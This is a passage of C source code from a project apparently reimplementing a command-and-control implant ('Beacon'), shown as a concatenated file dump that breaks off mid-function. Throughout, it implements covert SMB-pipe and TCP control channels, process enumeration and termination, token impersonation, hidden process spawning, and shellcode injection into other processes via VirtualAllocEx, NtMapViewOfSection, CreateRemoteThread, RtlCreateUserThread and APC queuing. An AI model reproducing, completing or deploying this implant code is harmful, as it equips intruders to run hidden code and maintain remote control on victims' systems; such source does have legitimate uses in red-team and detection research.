if (!SetNamedPipeHandleState(*pipe, &mode, NULL, NULL))
{
DisconnectNamedPipe(*pipe);
CloseHandle(*pipe);
return FALSE;
}
return TRUE;
}
// If the file is not found, wait for it to be created
if (GetLastError() != ERROR_PIPE_BUSY)
{
return FALSE;
}
if (!WaitNamedPipeA(lpFileName, 10000))
{
SetLastError(WAIT_TIMEOUT);
return FALSE;
}
}
}
int PipeConnectWithTokenNoFlags(LPCSTR filename, HANDLE* pipe)
{
if (PipeConnect(filename, pipe, 0))
return TRUE;
BOOL result = FALSE;
DWORD lastError = GetLastError();
if(lastError == ERROR_ACCESS_DENIED)
{
LWARNING("Could not do PipeConnect. Retrying with Revert/Impersonate");
IdentityRevertToken();
result = PipeConnect(filename, pipe, 0);
IdentityImpersonateToken();
}
return result;
}
int PipeConnectWithToken(LPCSTR filename, HANDLE* pipe, DWORD flags)
{
if (flags)
return PipeConnect(filename, pipe, flags);
return PipeConnectWithTokenNoFlags(filename, pipe);
}
BOOL PipeWaitForData(HANDLE hNamedPipe, DWORD waitTime, int iterWaitTime)
{
DWORD timeout = GetTickCount() + waitTime;
DWORD available;
while (GetTickCount() < timeout)
{
if (!PeekNamedPipe(hNamedPipe, NULL, 0, NULL, &available, NULL))
{
return FALSE;
}
if (available)
{
return TRUE;
}
Sleep(iterWaitTime);
}
return FALSE;
}
================================================
FILE: Beacon/pipe.h
================================================
#pragma once
int PipeConnectWithToken(LPCSTR filename, HANDLE* pipe, DWORD flags);
BOOL PipeWaitForData(HANDLE hNamedPipe, DWORD waitTime, int iterWaitTime);
================================================
FILE: Beacon/powershell.c
================================================
#include "pch.h"
#include "powershell.h"
#include "beacon.h"
#include "web_response.h"
char* gImportedPshScript;
char* PowershellImport(char* buffer, int size)
{
if (gImportedPshScript)
free(gImportedPshScript);
gImportedPshScript = (char*)malloc(size + 1);
memcpy(gImportedPshScript, buffer, size);
gImportedPshScript[size] = 0;
return gImportedPshScript;
}
void PowershellHostTcp(char* buffer, int size)
{
if(!gImportedPshScript)
return;
datap parser;
BeaconDataParse(&parser, buffer, size);
short port = BeaconDataShort(&parser);
WebServerInit(port, gImportedPshScript, strlen(gImportedPshScript));
}
================================================
FILE: Beacon/powershell.h
================================================
#pragma once
char* PowershellImport(char* buffer, int size);
void PowershellHostTcp(char* buffer, int size);
================================================
FILE: Beacon/process.c
================================================
#include "pch.h"
#include "process.h"
#include "beacon.h"
#include "spawn.h"
BOOL GetAccountNameFromToken(HANDLE hProcess, char* accountName, int length) {
HANDLE hToken;
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
if (!result) {
return FALSE;
}
result = IdentityGetUserInfo(hToken, accountName, length);
CloseHandle(hToken);
return result;
}
void ProcessList(char* buffer, int length) {
char accountName[2048] = { 0 };
datap parser;
BeaconDataParse(&parser, buffer, length);
int isPending = BeaconDataInt(&parser);
formatp locals;
BeaconFormatAlloc(&locals, 0x8000);
if (isPending > 0) {
BeaconFormatInt(&locals, isPending);
}
char* arch;
if (IS_X64() || IsWow64ProcessEx(GetCurrentProcess())) {
arch = "x64";
} else {
arch = "x86";
}
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (toolhelp == INVALID_HANDLE_VALUE) {
goto cleanup;
}
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(toolhelp, &pe)) {
do {
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
DWORD sid;
if (hProcess) {
if (!GetAccountNameFromToken(hProcess, accountName, sizeof(accountName))) {
accountName[0] = '\0';
}
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
sid = -1;
}
BOOL isWow64 = IsWow64ProcessEx(hProcess);
BeaconFormatPrintf(&locals,
"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
isWow64 ? "x86" : arch,
accountName,
sid);
}
else {
BeaconFormatPrintf(&locals,
"%s\t%d\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID);
}
CloseHandle(hProcess);
} while (Process32Next(toolhelp, &pe));
CloseHandle(toolhelp);
int cbLength = BeaconDataLength(&locals);
char* cbBuffer = BeaconDataOriginal(&locals);
BeaconOutput(isPending ? CALLBACK_PENDING : CALLBACK_PROCESS_LIST, cbBuffer, cbLength);
} else {
CloseHandle(toolhelp);
}
cleanup:
BeaconFormatFree(&locals);
}
BOOL ProcessKill(char* buffer, int length) {
datap parser = { 0 };
BeaconDataParse(&parser, buffer, length);
int pid = BeaconDataInt(&parser);
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (!hProcess || !TerminateProcess(hProcess, 0)) {
int lastError = GetLastError();
LERROR("Could not kill %d: %s", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_KILL_FAILED, pid, lastError);
}
return CloseHandle(hProcess);
}
================================================
FILE: Beacon/process.h
================================================
#pragma once
void ProcessList(char* buffer, int length);
BOOL ProcessKill(char* buffer, int length);
================================================
FILE: Beacon/protocol.c
================================================
#include "pch.h"
#include "protocol.h"
#include "link.h"
#include "beacon.h"
#include "pipe.h"
#include "settings.h"
int ProtocolSmbPipeRead(HANDLE channel, char* buffer, int length)
{
int read, totalRead;
for(totalRead = 0; totalRead < length; totalRead += read)
{
if (!ReadFile(channel, buffer + totalRead, length - totalRead, &read, NULL))
return -1;
if (read == 0)
return -1;
}
if (totalRead != length)
return -1;
return totalRead;
}
int ProtocolTcpSocketRead(SOCKET channel, char* buffer, int length)
{
int read, totalRead;
for (totalRead = 0; totalRead < length; totalRead += read)
{
read = recv(channel, buffer + totalRead, length - totalRead, 0);
if (read == SOCKET_ERROR)
return -1;
if (read == 0)
break;
}
if (totalRead != length)
return -1;
return totalRead;
}
BOOL ProtocolSmbPipeWrite(HANDLE hFile, char* buffer, int length)
{
DWORD wrote;
// Check if size is greater than 0
for (DWORD totalWrote = 0; totalWrote < length; totalWrote += wrote) {
// Calculate the number of bytes to be written in the current iteration
const DWORD toWrite = min(length - totalWrote, 0x2000);
// Check if the write operation was successful
if (!WriteFile(hFile, buffer + totalWrote, toWrite, &wrote, NULL)) {
return FALSE;
}
}
return TRUE;
}
BOOL ProtocolTcpSocketWrite(SOCKET channel, char* buffer, int length)
{
if(length == 0)
return TRUE;
return send(channel, buffer, length, 0) != SOCKET_ERROR;
}
char* ProtocolHeaderGet(char* setting, int headerSize, int* pHeaderLength)
{
datap parser;
BeaconDataParse(&parser, setting, headerSize);
SHORT headerLength = BeaconDataShort(&parser);
*pHeaderLength = headerLength;
char* header = BeaconDataPtr(&parser, headerLength);
*(int*)(header + *pHeaderLength - sizeof(int)) = headerSize;
return header;
}
int ProtocolSmbRead(PROTOCOL* protocol, char* buffer, int length)
{
int headerSize;
char* header = ProtocolHeaderGet(S_SMB_FRAME_HEADER, 0, &headerSize);
int totalHeaderRead = ProtocolSmbPipeRead(protocol->channel.handle, header, headerSize);
if (totalHeaderRead == -1 || totalHeaderRead != headerSize)
return -1;
int dataSize = *(int*)(header + headerSize - sizeof(int));
if ( dataSize < 0 || dataSize > length)
return -1;
return ProtocolSmbPipeRead(protocol->channel.handle, buffer, dataSize);
}
int ProtocolTcpRead(PROTOCOL* protocol, char* buffer, int length)
{
int headerSize;
char* header = ProtocolHeaderGet(S_TCP_FRAME_HEADER, 0, &headerSize);
int totalHeaderRead = ProtocolTcpSocketRead(protocol->channel.socket, header, headerSize);
if (totalHeaderRead == -1 || totalHeaderRead != headerSize)
return -1;
int dataSize = *(int*)(header + headerSize - sizeof(int));
if (dataSize < 0 || dataSize > length)
return -1;
return ProtocolTcpSocketRead(protocol->channel.socket, buffer, dataSize);
}
BOOL ProtocolTcpWrite(PROTOCOL* protocol, char* buffer, int length)
{
int headerSize;
char* header = ProtocolHeaderGet(S_TCP_FRAME_HEADER, length, &headerSize);
if (!ProtocolTcpSocketWrite(protocol->channel.socket, header, headerSize))
return FALSE;
return ProtocolTcpSocketWrite(protocol->channel.socket, buffer, length);
}
BOOL ProtocolSmbWrite(PROTOCOL* protocol, char* buffer, int length)
{
int headerSize;
char* header = ProtocolHeaderGet(S_SMB_FRAME_HEADER, length, &headerSize);
if (!ProtocolSmbPipeWrite(protocol->channel.handle, header, headerSize))
return FALSE;
return ProtocolSmbPipeWrite(protocol->channel.handle, buffer, length);
}
void ProtocolTcpClose(PROTOCOL* protocol)
{
shutdown(protocol->channel.socket, SD_BOTH);
closesocket(protocol->channel.socket);
}
void ProtocolSmbClose(PROTOCOL* protocol)
{
DisconnectNamedPipe(protocol->channel.handle);
CloseHandle(protocol->channel.handle);
}
void ProtocolSmbFlush(PROTOCOL* protocol)
{
FlushFileBuffers(protocol->channel.handle);
}
BOOL ProtocolSmbWaitForData(PROTOCOL* protocol, DWORD waitTime, int iterWaitTime)
{
return PipeWaitForData(protocol->channel.handle, waitTime, iterWaitTime);
}
BOOL ProtocolTcpWaitForData(PROTOCOL* protocol, DWORD waitTime, int iterWaitTime)
{
int timeout = GetTickCount() + waitTime;
int argp = 1;
if (ioctlsocket(protocol->channel.socket, FIONREAD, &argp) == SOCKET_ERROR)
return FALSE;
BOOL result = FALSE;
while (GetTickCount() < timeout)
{
char buf[1];
int received = recv(protocol->channel.socket, buf, sizeof(char), MSG_PEEK);
if(!received)
break;
if(received > 0)
{
result = TRUE;
break;
}
if (WSAGetLastError() != WSAEWOULDBLOCK)
break;
Sleep(iterWaitTime);
}
argp = 0;
if (ioctlsocket(protocol->channel.socket, FIONREAD, &argp) == SOCKET_ERROR)
return FALSE;
return result;
}
PROTOCOL* ProtocolSmbInit(PROTOCOL* protocol, HANDLE handle)
{
protocol->channel.handle = handle;
protocol->read = ProtocolSmbRead;
protocol->write = ProtocolSmbWrite;
protocol->close = ProtocolSmbClose;
protocol->flush = ProtocolSmbFlush;
protocol->waitForData = ProtocolSmbWaitForData;
return protocol;
}
PROTOCOL* ProtocolTcpInit(PROTOCOL* protocol, SOCKET socket)
{
protocol->channel.socket = socket;
protocol->read = ProtocolTcpRead;
protocol->write = ProtocolTcpWrite;
protocol->close = ProtocolTcpClose;
protocol->flush = NULL;
protocol->waitForData = ProtocolTcpWaitForData;
return protocol;
}
void ProtocolSmbOpenExplicit(char* data)
{
int timeout = GetTickCount() + 15000;
HANDLE file;
while (timeout < GetTickCount())
{
file = CreateFileA(data, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_NO_RECALL, NULL);
if (file != INVALID_HANDLE_VALUE)
{
int mode = PIPE_READMODE_MESSAGE;
if (!SetNamedPipeHandleState(file, &mode, NULL, NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not connect to pipe: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_CONNECT_TO_PIPE_FAILED, lastError);
goto cleanup;
}
PROTOCOL protocol;
ProtocolSmbInit(&protocol, file);
int port = 445;
if (!LinkAdd(&protocol, port))
goto cleanup;
return;
}
if (GetLastError() == ERROR_PIPE_BUSY)
{
WaitNamedPipeA(data, 10000);
}
else
{
Sleep(1000);
}
}
DWORD lastError = GetLastError();
if (lastError == ERROR_SEM_TIMEOUT)
{
LERROR("Could not connect to pipe: %s", LAST_ERROR_STR(lastError));
BeaconErrorNA(ERROR_CONNECT_TO_PIPE_TIMEOUT);
}
else
{
LERROR("Could not connect to pipe: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_CONNECT_TO_PIPE_FAILED, lastError);
}
cleanup:
DisconnectNamedPipe(file);
CloseHandle(file);
}
================================================
FILE: Beacon/protocol.h
================================================
#pragma once
typedef union _CHANNEL {
HANDLE handle;
SOCKET socket;
} CHANNEL;
typedef struct _PROTOCOL {
CHANNEL channel;
int (*read)(struct _PROTOCOL*, char*, int);
BOOL (*write)(struct _PROTOCOL*, char*, int);
void (*close)(struct _PROTOCOL*);
void (*flush)(struct _PROTOCOL*);
BOOL (*waitForData)(struct _PROTOCOL*, int, int);
} PROTOCOL;
PROTOCOL* ProtocolTcpInit(PROTOCOL* protocol, SOCKET socket);
void ProtocolSmbOpenExplicit(char* data);
int ProtocolSmbPipeRead(HANDLE channel, char* buffer, int length);
================================================
FILE: Beacon/self.c
================================================
#include "pch.h"
#include "self.h"
#include "beacon.h"
#include "settings.h"
int gSleepTime;
int gJitter;
void Die(void)
{
gSleepTime = 0;
BeaconOutput(CALLBACK_DEAD, NULL, 0);
}
void SleepSet(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
gSleepTime = BeaconDataInt(&parser);
int jitter = BeaconDataInt(&parser);
if (jitter >= 100)
jitter = 0;
gJitter = jitter;
BeaconDataZero(&parser);
}
void Pause(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int millis = BeaconDataInt(&parser);
Sleep(millis);
}
BOOL BeaconIsExpired()
{
if(S_KILLDATE)
{
SYSTEMTIME now;
GetSystemTime(&now);
long time = now.wDay + 100 * (now.wMonth + 100 * now.wYear);
return time >= S_KILLDATE;
}
return FALSE;
}
[[noreturn]] void BeaconInterrupt()
{
if(S_EXIT_FUNK == TRUE)
{
if (S_CFG_CAUTION == TRUE)
{
while (TRUE)
Sleep(1000);
}
else
{
ExitThread(0);
}
} else {
if (S_CFG_CAUTION == TRUE) {
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExitProcess, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}
else
{
ExitProcess(0);
}
}
}
================================================
FILE: Beacon/self.h
================================================
#pragma once
void Die(void);
void SleepSet(char* buffer, int length);
void Pause(char* buffer, int length);
================================================
FILE: Beacon/spawn.c
================================================
#include "pch.h"
#include "spawn.h"
#include
#include
#include "beacon.h"
#include "settings.h"
#include "argument.h"
#include "beacon.h"
#include "identity.h"
#include "utils.h"
int gParentPid;
void Spawn(char* data, int size, BOOL x86, BOOL ignoreToken)
{
IdentityConditionalRevert(ignoreToken);
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0 };
/* get the startup information of the current process */
GetStartupInfoA(&si);
// Indicate the attributes of the process to be created.
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // means: use the following handles and show the window
si.wShowWindow = SW_HIDE; // means: don't show the window
// clear the standard input
memset(&si.hStdInput, 0, sizeof(si.hStdInput));
// Spawn a temporary process.
if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi))
{
Sleep(100);
// Inject the payload into the spawned process using InjectProcess.
BeaconInjectTemporaryProcess(&pi, data, size, 0, NULL, 0);
BeaconCleanupProcess(&pi);
}
IdentityConditionalImpersonate(ignoreToken);
}
void SpawnAndPing(char* data, int size, BOOL x86)
{
datap parser;
BeaconDataParse(&parser, data, size);
short port = BeaconDataShort(&parser);
CHAR* spawnData = BeaconDataBuffer(&parser);
SIZE_T spawnSize = BeaconDataLength(&parser);
Spawn(spawnData, spawnSize, x86, TRUE);
port = htons(port);
BeaconOutput(CALLBACK_PING, (char*)&port, sizeof(port));
}
char* gSpawnToX86 = NULL;
char* gSpawnToX64 = NULL;
DWORD SpawnToExpand(char* expanded, size_t size, BOOL x86)
{
char lBuffer[256] = { 0 };
char* spawnTo;
if (x86)
{
if (gSpawnToX86 == NULL || strlen(gSpawnToX86) == 0)
{
spawnTo = S_SPAWNTO_X86;
}
else
{
LERROR("gSpawnToX86 is not NULL or empty");
}
}
else
{
if (gSpawnToX64 == NULL || strlen(gSpawnToX64) == 0)
{
spawnTo = S_SPAWNTO_X64;
}
else
{
LERROR("gSpawnToX64 is not NULL or empty");
}
}
snprintf(lBuffer, sizeof(lBuffer), "%s", spawnTo);
return ExpandEnvironmentStrings_s(lBuffer, expanded, size);
}
#define MAX_CMD 256
void SpawnToFix(BOOL x86, char* cmd)
{
memset(cmd, 0, MAX_CMD);
SpawnToExpand(cmd, MAX_CMD, x86);
if (!x86)
{
// look for the substring "sysnative" in cmd
char* substr = strstr(cmd, "sysnative");
if (!substr)
return;
char aux[MAX_CMD] = { 0 };
memcpy(substr, "system32", STRLEN("system32"));
// copy the rest of the string
char* after = substr + STRLEN("sysnative");
int afterLength = strlen(after);
memcpy(aux, after, afterLength);
memcpy(substr + STRLEN("system32"), aux, strlen(aux) + 1);
}
}
/**
* @brief Gets the spawn path based on the architecture.
*
* This function retrieves the spawn path depending on the architecture (x86 or x64).
* The result is stored in the provided buffer after expanding any environment variables.
*
* @param x86 Flag indicating whether the architecture is x86 (TRUE) or x64 (FALSE).
* @param buffer A pointer to the buffer where the spawn path will be stored.
* @param length The size of the buffer in bytes.
*/
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length)
{
char cmd[MAX_CMD];
SpawnToFix(x86, cmd);
int size = min(length, MAX_CMD);
memcpy(buffer, cmd, size);
}
typedef struct _INJECTION
{
DWORD pid;
HANDLE process;
BOOL isX64;
BOOL isProcessX64;
BOOL isSameArchAsHostSystem;
BOOL isSamePid;
BOOL isTemporary;
HANDLE thread;
} INJECTION;
;
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
typedef WINBASEAPI HMODULE(WINAPI* FN_KERNEL32_LOADLIBRARYA)(_In_ LPCSTR lpLibFileName);
typedef WINBASEAPI FARPROC(WINAPI* FN_KERNEL32_GETPROCADDRESS)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef WINBASEAPI LPVOID(WINAPI* FN_KERNEL32_VIRTUALALLOC)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_VIRTUALPROTECT)(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect);
typedef CLIENT_ID* PCLIENT_ID;
typedef NTSTATUS(NTAPI* FN_NTDLL_RTLCREATEUSERTHREAD)(_In_ HANDLE ProcessHandle, _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_ BOOLEAN CreateSuspended, _In_opt_ ULONG StackZeroBits, _In_opt_ SIZE_T StackReserve, _In_opt_ SIZE_T StackCommit, _In_ PVOID StartAddress, _In_opt_ PVOID Parameter, _Out_opt_ PHANDLE ThreadHandle, _Out_opt_ PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* FN_NTDLL_NTQUEUEAPCTHREAD)(_In_ HANDLE ThreadHandle, _In_ PVOID ApcRoutine, _In_ PVOID ApcRoutineContext OPTIONAL, _In_ PVOID ApcStatusBlock OPTIONAL, _In_ PVOID ApcReserved OPTIONAL);
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;
typedef NTSTATUS(NTAPI* FN_NTDLL_NTMAPVIEWOFSECTION)(_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize, _Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, _In_ SECTION_INHERIT InheritDisposition, _In_ ULONG AllocationType, _In_ ULONG Win32Protect);
BOOL IsWow64ProcessEx(HANDLE hProcess)
{
HMODULE hModule = GetModuleHandleA("kernel32");
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
if (_IsWow64Process == NULL)
{
LERROR("kernel32$IsWow64Process: IsWow64Process is NULL");
return FALSE;
}
BOOL Wow64Process = FALSE;
return _IsWow64Process(hProcess, &Wow64Process) && Wow64Process;
}
BOOL IsProcess64Bit(HANDLE hProcess)
{
if (!IS_X64() && !IsWow64ProcessEx(GetCurrentProcess()))
return FALSE;
return !IsWow64ProcessEx(hProcess);
}
typedef struct _PAYLOAD
{
SHORT mzSignature;
char _[982];
FN_KERNEL32_LOADLIBRARYA pLoadLibraryA;
FN_KERNEL32_GETPROCADDRESS pGetProcAddress;
FN_KERNEL32_VIRTUALALLOC pVirtualAlloc;
FN_KERNEL32_VIRTUALPROTECT pVirtualProtect;
DWORD keyPtrMagic;
DWORD smartInjectMagic;
} PAYLOAD;
char* InjectViaNtMapViewOfSection(HANDLE handle, DWORD pid, const char* payload, int size)
{
/* determine the minimum allocation size based on S_PROCINJ_MINALLOC */
int dwSize = max(S_PROCINJ_MINALLOC, size);
/* get the handle to the ntdll module */
HMODULE hModule = GetModuleHandleA("ntdll.dll");
/* get the address of the NtMapViewOfSection function */
FN_NTDLL_NTMAPVIEWOFSECTION _NtMapViewOfSection = (FN_NTDLL_NTMAPVIEWOFSECTION)GetProcAddress(hModule, "NtMapViewOfSection");
/* check if the function was found */
if (_NtMapViewOfSection == NULL)
return NULL;
/* create a file mapping object */
HANDLE hFileMapping = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, dwSize, NULL);
LPVOID lpBaseAddress = NULL;
/* check if the file mapping object was created */
if (hFileMapping != INVALID_HANDLE_VALUE)
{
// map a view of the file into the process's address space (use MapViewOfFile)
LPVOID lpFileMap = MapViewOfFile(hFileMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwSize);
// check if the file was mapped
if (lpFileMap)
{
// copy the payload into the mapped file
memcpy(lpFileMap, payload, size);
// call NtMapViewOfSection to map the file into the target process
SIZE_T dwViewSize = 0;
NTSTATUS status = _NtMapViewOfSection(hFileMapping, handle, &lpBaseAddress, 0, 0, NULL, &dwViewSize, ViewShare, 0, S_PROCINJ_PERMS);
// unmap the file from the current process
UnmapViewOfFile(lpFileMap);
}
// close the file mapping object
CloseHandle(hFileMapping);
}
if (lpBaseAddress == NULL) {
const DWORD lastError = GetLastError();
LERROR("Allocate section and copy data failed: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ALLOC_SECTION_FAILED, lastError);
return NULL;
}
return (char*)lpBaseAddress;
}
char* InjectViaVirtualAllocEx(HANDLE hProcess, DWORD pid, const char* payload, int size)
{
/* determine the minimum allocation size based on S_PROCINJ_MINALLOC */
int dwSize = max(S_PROCINJ_MINALLOC, size);
/* allocate memory in the target process */
LPBYTE lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, S_PROCINJ_PERMS_I);
/* check if the memory was allocated */
if (lpBaseAddress == NULL)
{
const DWORD lastError = GetLastError();
LERROR("Could not allocate %d bytes in process: %s", dwSize, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_LOCAL_ALLOC_FAILED, dwSize, lastError);
return NULL;
}
int wrote = 0;
for (int total = 0; total < size; total += wrote)
{
if (!WriteProcessMemory(hProcess, lpBaseAddress + total, payload + total, size - total, &wrote))
{
DWORD lastError = GetLastError();
LERROR("Could not write to process memory: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_WRITE_TO_PROC_MEMORY_FAILED, lastError);
VirtualFree(lpBaseAddress, 0, MEM_RELEASE);
return NULL;
}
}
if (S_PROCINJ_PERMS_I != S_PROCINJ_PERMS)
{
DWORD flOldProtect;
if (!VirtualProtectEx(hProcess, lpBaseAddress, dwSize, S_PROCINJ_PERMS, &flOldProtect))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust permissions in process: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_PERMISSIONS_FAILED, lastError);
VirtualFree(lpBaseAddress, 0, MEM_RELEASE);
return NULL;
}
}
return (char*)lpBaseAddress;
}
char* InjectRemotely(INJECTION* injection, const char* payload, int size)
{
if (S_PROCINJ_ALLOCATOR && injection->isSameArchAsHostSystem)
{
return InjectViaNtMapViewOfSection(injection->process, injection->pid, payload, size);
}
else
{
return InjectViaVirtualAllocEx(injection->process, injection->pid, payload, size);
}
}
BOOL AdjustMemoryPermissions(char* payload, int size) {
if (S_PROCINJ_PERMS_I == S_PROCINJ_PERMS)
return TRUE;
DWORD flOldProtect;
if (!VirtualProtect(payload, size, S_PROCINJ_PERMS, &flOldProtect))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust permissions in process: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_PERMISSIONS_FAILED, lastError);
return FALSE;
}
return TRUE;
}
char* InjectLocally(char* payload, int size)
{
int dwSize = S_PROCINJ_MINALLOC;
if (size > dwSize)
dwSize = size + 1024;
char* pAlloc = (char*)VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, S_PROCINJ_PERMS_I);
if (!pAlloc)
{
DWORD lastError = GetLastError();
LERROR("Could not allocate %d bytes in process: %s", dwSize, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_LOCAL_ALLOC_FAILED, dwSize, lastError);
return NULL;
}
memcpy(pAlloc, payload, size);
if (AdjustMemoryPermissions(pAlloc, dwSize))
{
return pAlloc;
}
VirtualFree(pAlloc, 0, MEM_RELEASE);
return NULL;
}
void InjectIntoPid(char* buffer, int length, BOOL x86)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int pid = BeaconDataInt(&parser);
int payloadOffset = BeaconDataInt(&parser);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
if (hProcess == NULL)
{
int lastError = GetLastError();
LERROR("Could not open process %d: %s", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_OPEN_PROCESS_FAILED, pid, lastError);
return;
}
BOOL isProcessX64 = IsProcess64Bit(hProcess);
if(x86 == isProcessX64)
{
int type;
if (isProcessX64)
{
LERROR("%d is a x64 process (can't inject x86 content)", pid);
type = ERROR_INJECT_X86_INTO_X64;
} else {
LERROR("%d is a x86 process (can't inject x64 content)", pid);
type = ERROR_INJECT_X64_INTO_X86;
}
BeaconErrorD(type, pid);
return;
}
int len = BeaconDataLength(&parser);
char* payload = BeaconDataBuffer(&parser);
BeaconInjectProcess(hProcess, pid, payload, len, payloadOffset, NULL, 0);
CloseHandle(hProcess);
}
void InjectIntoPidAndPing(char* buffer, int length, BOOL x86)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
int size = BeaconDataLength(&parser);
char* payload = BeaconDataBuffer(&parser);
InjectIntoPid(payload, size, x86);
port = htons(port);
BeaconOutput(CALLBACK_PING, (char*)&port, sizeof(port));
}
BOOL ExecuteViaCreateRemoteThread(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter)
{
return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, 0, NULL) != NULL;
}
BOOL ExecuteViaRtlCreateUserThread(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter)
{
HMODULE hModule = GetModuleHandleA("ntdll.dll");
FN_NTDLL_RTLCREATEUSERTHREAD _RtlCreateUserThread = (FN_NTDLL_RTLCREATEUSERTHREAD)GetProcAddress(hModule, "RtlCreateUserThread");
if (_RtlCreateUserThread == NULL)
{
LERROR("Cannot find RtlCreateUserThread in ntdll.dll");
return FALSE;
}
CLIENT_ID ClientId;
HANDLE hThread = NULL;
_RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, lpStartAddress, lpParameter, &hThread, &ClientId);
return hThread != NULL;
}
BOOL ExecuteViaNtQueueApcThread_s(INJECTION* injection, LPVOID lpStartAddress, LPVOID lpParameter)
{
HMODULE hModule = GetModuleHandleA("ntdll");
FN_NTDLL_NTQUEUEAPCTHREAD _NtQueueApcThread = (FN_NTDLL_NTQUEUEAPCTHREAD)GetProcAddress(hModule, "NtQueueApcThread");
if (_NtQueueApcThread == NULL)
return FALSE;
if (_NtQueueApcThread(injection->thread, lpStartAddress, lpParameter, NULL, NULL) != 0)
return FALSE;
return ResumeThread(injection->thread) != -1;
}
//CreateThread typedef
typedef HANDLE(WINAPI* FN_KERNEL32_CREATETHREAD)(_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ __drv_aliasesMem LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId);
typedef struct _APC_ROUTINE_CONTEXT
{
LPVOID lpStartAddress;
LPVOID lpAddress;
FN_KERNEL32_CREATETHREAD pCreateThread;
BOOL isExecuted;
CHAR payload[];
} APC_ROUTINE_CONTEXT, * PAPC_ROUTINE_CONTEXT;
#if IS_X64()
#define TEB$ActivationContextStack() ((char*)NtCurrentTeb() + 0x2c8)
#else
#define TEB$ActivationContextStack() ((char*)NtCurrentTeb() + 0x1a8)
#endif
#pragma code_seg(push, ".text$KKK000")
__declspec(noinline) void NtQueueApcThreadProc(PAPC_ROUTINE_CONTEXT pData)
{
if (pData->isExecuted)
return;
if (!(TEB$ActivationContextStack()))
return;
pData->isExecuted = TRUE;
pData->pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pData->lpStartAddress, pData->lpAddress, 0, NULL);
}
#pragma code_seg(pop)
#pragma code_seg(push, ".text$KKK001")
__declspec(noinline) void NtQueueApcThreadProc_End(void) {}
#pragma code_seg(pop)
BOOL ExecuteViaNtQueueApcThread(INJECTION* injection, LPVOID lpStartAddress, LPVOID lpParameter)
{
HMODULE hModule = GetModuleHandleA("ntdll");
